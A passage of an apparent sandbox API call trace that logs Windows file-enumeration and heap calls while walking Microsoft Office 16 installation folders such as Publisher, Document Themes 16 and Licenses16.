	[0189.930] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0190.091] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x3fc3078, Size=0x8000) returned 0x401a8c0
	[0190.183] FindNextFileW (in: hFindFile=0x3fb2798, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x102c771c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x102c771c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x102ed99a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SCHOL_02.MID", cAlternateFileName="")) returned 1
	[0190.193] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.193] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0190.195] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40898e0 | out: hHeap=0x750000) returned 1
	[0190.195] FindNextFileW (in: hFindFile=0x3fb2498, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0190.195] FindClose (in: hFindFile=0x3fb2498 | out: hFindFile=0x3fb2498) returned 1
	[0190.195] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.195] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0190.195] FindClose (in: hFindFile=0x3fb2458 | out: hFindFile=0x3fb2458) returned 1
	[0190.195] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0190.197] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0190.201] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.201] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0190.201] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.201] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0190.203] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x39625d8 | out: hHeap=0x750000) returned 1
	[0190.203] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0190.204] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0190.204] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0190.205] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0190.205] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0190.207] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0190.207] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0190.209] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0190.209] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0190.210] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x401a8c0, Size=0x10000) returned 0x39625d8
	[0190.211] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2687c83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe282b673, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1070, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="client-issuance-ul.xrm-ms", cAlternateFileName="CLIENT~1.XRM")) returned 1
	[0190.223] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x39625d8, Size=0x20000) returned 0x40898e0
	[0190.225] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe6543cce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe6543cce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe6674f22, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="O365ProPlusR_Subscription1-ul-oob.xrm-ms", cAlternateFileName="O378F4~1.XRM")) returned 1
	[0191.211] RtlReAllocateHeap (Heap=0x750000, Flags=0x0, Ptr=0x40898e0, Size=0x40000) returned 0x40898e0
	[0191.211] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xebfdd523, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xebfdd523, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xec09c0ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5173, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="VisioProR_Grace-ppd.xrm-ms", cAlternateFileName="VIAD4A~1.XRM")) returned 1
	[0191.214] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0191.214] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0191.215] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0191.215] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0191.218] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.218] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0191.218] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.218] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0191.218] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.218] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0191.220] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.220] FindNextFileW (in: hFindFile=0x3fb2458, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0191.220] FindClose (in: hFindFile=0x3fb2458 | out: hFindFile=0x3fb2458) returned 1
	[0191.220] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0191.220] FindNextFileW (in: hFindFile=0x3fb2758, lpFindFileData=0x35ef584 | out: lpFindFileData=0x35ef584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0191.222] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.222] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0191.223] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.224] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0191.230] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.230] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0191.233] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.233] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0191.391] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3fc3078 | out: hHeap=0x750000) returned 1
	[0191.391] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0191.395] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.395] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0191.395] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.395] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0191.396] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.396] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0191.396] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.396] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0191.398] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40198c0 | out: hHeap=0x750000) returned 1
	[0191.398] FindNextFileW (in: hFindFile=0x3fb2258, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0191.400] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.400] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0191.402] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.402] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0191.404] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.404] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0191.406] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.406] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0191.407] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
	[0191.407] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x35eeb94 | out: lpFindFileData=0x35eeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0191.409] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40e98f8 | out: hHeap=0x750000) returned 1
